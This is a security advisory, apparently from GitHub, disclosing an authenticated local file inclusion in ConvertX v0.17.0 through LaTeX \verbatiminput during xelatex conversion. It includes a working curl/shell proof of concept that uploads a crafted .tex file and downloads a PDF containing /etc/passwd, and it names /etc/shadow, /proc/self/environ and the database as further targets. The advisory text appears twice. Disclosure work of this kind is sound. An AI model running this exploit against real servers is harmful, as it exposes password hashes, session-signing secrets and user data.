reported on 4 June 2026 https://github.com/C4illin/ConvertX/security/advisories/GHSA-qwm5-vvqj-wrhc - no response.
Summary
An authenticated user can upload a crafted LaTeX (.tex or .latex) file containing a
\verbatiminput or \input directive that references arbitrary files on the server
(e.g. /etc/passwd, /etc/shadow, environment variable files, application config
files, source files, or other sensitive data). When the file is converted to PDF using
the built-in xelatex converter, the referenced server-side file contents are rendered
verbatim into the output PDF, which the attacker can then download via the results page.
This constitutes an authenticated server-side Local File Inclusion (LFI) with direct
read-back of arbitrary files accessible to the server process.
Details
The xelatex converter in src/converters/xelatex.ts invokes latexmk on the
user-supplied input file without any content inspection or sandboxing:
// src/converters/xelatex.ts, lines 26-27
execFile(
"latexmk",
["-xelatex", "-interaction=nonstopmode", `-output-directory=${outputPath}`, filePath],
...
The upload handler in src/pages/upload.tsx sanitizes only the filename (via the
sanitize-filename package, preventing path traversal in the stored name), but does
not inspect or restrict the file content. No restrictions are placed on LaTeX directives
within uploaded .tex or .latex files.
LaTeX supports \input{path} and \verbatiminput{path} (from the verbatim package)
directives that cause the TeX engine to open and read arbitrary filesystem paths during
compilation. Because latexmk is invoked with the server process's working directory
and permissions (root inside the default Docker image), any file readable by the server
process can be included. The compiled PDF is written to the output directory and made
available for download via GET /download/:userId/:jobId/:fileName, which is scoped to
the requesting user's own jobs.
End-to-end data flow:
- POST /upload -- attacker uploads
lfi.tex with \verbatiminput{/etc/passwd} as content
- POST /convert -- attacker triggers conversion:
convert_to=pdf,xelatex, file_names=["lfi.tex"]
- Server calls:
latexmk -xelatex -interaction=nonstopmode -output-directory=<outdir> <uploadsdir>/lfi.tex
- xelatex reads and typesets
/etc/passwd into the output PDF
- GET /download/:userId/:jobId/lfi.pdf -- attacker downloads PDF containing /etc/passwd contents
The -interaction=nonstopmode flag means LaTeX continues past typesetting errors
caused by special characters in binary or non-text files, producing partial output
where possible.
PoC
The following steps reproduce the vulnerability against a default ConvertX instance.
Prerequisites: A valid user account. Registration is open by default
(ACCOUNT_REGISTRATION=true in the shipped compose.yaml).
# 1. Register and log in (or use existing credentials)
curl -c cookies.txt -X POST http://localhost:3000/login \
-d 'email=attacker@example.com&password=Password123!' \
-H 'Content-Type: application/x-www-form-urlencoded' -L
# 2. Visit / to create a new job and obtain the jobId cookie
curl -b cookies.txt -c cookies.txt http://localhost:3000/ -o /dev/null
# 3. Create the malicious LaTeX file
cat > /tmp/lfi.tex << 'EOF'
\documentclass{article}
\usepackage{verbatim}
\begin{document}
\verbatiminput{/etc/passwd}
\end{document}
EOF
# 4. Upload the file
curl -b cookies.txt -F 'file=@/tmp/lfi.tex' http://localhost:3000/upload
# 5. Trigger the conversion (replace jobId=N to match actual cookie value)
JOB_ID=$(grep jobId cookies.txt | awk '{print $NF}')
curl -b cookies.txt \
-d "convert_to=pdf%2Cxelatex&file_names=%5B%22lfi.tex%22%5D" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-X POST http://localhost:3000/convert -L
# 6. Wait a few seconds for conversion, then download the PDF
sleep 8
USER_ID=$(python3 -c "
import base64, json
token = open('cookies.txt').read()
import re
auth = re.search(r'auth\t(\S+)', token).group(1)
payload = auth.split('.')[1] + '=='
print(json.loads(base64.b64decode(payload))['id'])
")
curl -b cookies.txt \
"http://localhost:3000/download/${USER_ID}/${JOB_ID}/lfi.pdf" \
-o /tmp/lfi_result.pdf
# 7. Verify /etc/passwd contents are in the PDF
pdftotext /tmp/lfi_result.pdf -
Observed result (validated on commit 0965928, v0.17.0):
Running the above produces a PDF with the following content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[... full /etc/passwd continues ...]
Additional files readable in the same way include (but are not limited to)
/etc/shadow, /app/data/mydb.sqlite (partial, binary-safe portions),
application source files under /app/, and any credentials files mounted
into the container. Text files produce clean output; binary files produce
partial output due to character encoding limits.
Impact
Any authenticated user (including newly self-registered users when
ACCOUNT_REGISTRATION=true, which is the default) can read arbitrary files
accessible to the server process. In the default Docker deployment the server
runs as root, making every file on the container filesystem readable. Sensitive
targets include:
/etc/shadow -- password hashes for OS accounts
/proc/self/environ -- process environment, which contains the JWT_SECRET,
ACCOUNT_REGISTRATION, and all other runtime configuration values; exfiltrating
JWT_SECRET allows forging arbitrary user session tokens
- Application database (
/app/data/mydb.sqlite) -- contains bcrypt/argon2 password
hashes for all registered ConvertX users
- Mounted secrets, private keys, or credentials injected via Docker volumes or
environment files
- Application source code and configuration under
/app/
The vulnerability has a high confidentiality impact. Integrity and availability
are not directly affected by this path.
C4illin/ConvertX
Affected versions
commit 0965928 (v0.17.0)
reported on 4 June 2026 https://github.com/C4illin/ConvertX/security/advisories/GHSA-qwm5-vvqj-wrhc - no response.
Summary
An authenticated user can upload a crafted LaTeX (.tex or .latex) file containing a
\verbatiminputor\inputdirective that references arbitrary files on the server(e.g.
/etc/passwd,/etc/shadow, environment variable files, application configfiles, source files, or other sensitive data). When the file is converted to PDF using
the built-in xelatex converter, the referenced server-side file contents are rendered
verbatim into the output PDF, which the attacker can then download via the results page.
This constitutes an authenticated server-side Local File Inclusion (LFI) with direct
read-back of arbitrary files accessible to the server process.
Details
The xelatex converter in
src/converters/xelatex.tsinvokeslatexmkon theuser-supplied input file without any content inspection or sandboxing:
The upload handler in
src/pages/upload.tsxsanitizes only the filename (via thesanitize-filenamepackage, preventing path traversal in the stored name), but doesnot inspect or restrict the file content. No restrictions are placed on LaTeX directives
within uploaded
.texor.latexfiles.LaTeX supports
\input{path}and\verbatiminput{path}(from theverbatimpackage)directives that cause the TeX engine to open and read arbitrary filesystem paths during
compilation. Because
latexmkis invoked with the server process's working directoryand permissions (root inside the default Docker image), any file readable by the server
process can be included. The compiled PDF is written to the output directory and made
available for download via
GET /download/:userId/:jobId/:fileName, which is scoped tothe requesting user's own jobs.
End-to-end data flow:
lfi.texwith\verbatiminput{/etc/passwd}as contentconvert_to=pdf,xelatex,file_names=["lfi.tex"]latexmk -xelatex -interaction=nonstopmode -output-directory=<outdir> <uploadsdir>/lfi.tex/etc/passwdinto the output PDFThe
-interaction=nonstopmodeflag means LaTeX continues past typesetting errorscaused by special characters in binary or non-text files, producing partial output
where possible.
PoC
The following steps reproduce the vulnerability against a default ConvertX instance.
Prerequisites: A valid user account. Registration is open by default
(ACCOUNT_REGISTRATION=true in the shipped compose.yaml).
Observed result (validated on commit 0965928, v0.17.0):
Running the above produces a PDF with the following content:
Additional files readable in the same way include (but are not limited to)
/etc/shadow,/app/data/mydb.sqlite(partial, binary-safe portions),application source files under
/app/, and any credentials files mountedinto the container. Text files produce clean output; binary files produce
partial output due to character encoding limits.
Impact
Any authenticated user (including newly self-registered users when
ACCOUNT_REGISTRATION=true, which is the default) can read arbitrary files
accessible to the server process. In the default Docker deployment the server
runs as root, making every file on the container filesystem readable. Sensitive
targets include:
/etc/shadow-- password hashes for OS accounts/proc/self/environ-- process environment, which contains the JWT_SECRET,ACCOUNT_REGISTRATION, and all other runtime configuration values; exfiltrating
JWT_SECRET allows forging arbitrary user session tokens
/app/data/mydb.sqlite) -- contains bcrypt/argon2 passwordhashes for all registered ConvertX users
environment files
/app/The vulnerability has a high confidentiality impact. Integrity and availability
are not directly affected by this path.
C4illin/ConvertX
Affected versions
commit 0965928 (v0.17.0)